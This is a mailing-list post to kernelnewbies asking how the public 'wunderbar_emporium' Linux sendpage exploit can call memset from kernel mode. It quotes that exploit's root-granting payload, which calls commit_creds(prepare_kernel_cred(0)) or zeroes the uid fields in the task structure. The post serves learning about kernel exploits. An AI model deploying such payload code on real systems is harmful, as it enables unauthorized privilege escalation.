An exploit about sendpage:
http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium.tgz

I read the exploit code, having some question?
---------------------------------------------------------------------------------------
There is some code:
static void give_it_to_me_any_way_you_can(void)
{
        if (commit_creds && prepare_kernel_cred) {
                commit_creds(prepare_kernel_cred(0));
                got_root = 1;
        } else {
                unsigned int *current;
                unsigned long orig_current;
                unsigned long orig_current_4k = 0;

                if (sizeof(unsigned long) != sizeof(unsigned int))
                        orig_current = get_current_x64();
                else {
                        orig_current = orig_current_4k = get_current_4k();
                        if (orig_current == 0)
                                orig_current = get_current_8k();
                }

repeat:
                current = (unsigned int *)orig_current;
                while (((unsigned long)current < (orig_current + 0x1000 - 17 )) 
&&
                        (current[0] != our_uid || current[1] != our_uid ||
                         current[2] != our_uid || current[3] != our_uid))
                        current++;

                if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
                        if (orig_current == orig_current_4k) {
                                orig_current = get_current_8k();
                                goto repeat;
                        }
                        return;
                }
                got_root = 1;
                memset(current, 0, sizeof(unsigned int) * 8);
        }

        return; 
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a,
unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
        ......
        
        // push it real good
        give_it_to_me_any_way_you_can();

        return -1;
}
-------------------------------------------------------------------------------------------

own_the_kernel() will run in kernel mode, when trigger the bug in user mode.

BUT give_it_to_me_any_way_you_can() call memset(), memset() is a
function in glic.

In Kernel mode, can Call function in glib? How to resolve the symbol?

-- 
Best Regards :-)
-------------------------------------------
Wang Yao(王耀),[email protected] [email protected]
HomePage: http://cudev.cublog.cn
Research Center of Computer Network and Information Security
Technology Harbin Institute Of Technology
Address:NO.92 West Da-Zhi Street,NanGang District,Harbin,Heilongjiang

--
To unsubscribe from this list: send an email with
"unsubscribe kernelnewbies" to [email protected]
Please read the FAQ at http://kernelnewbies.org/FAQ

Reply via email to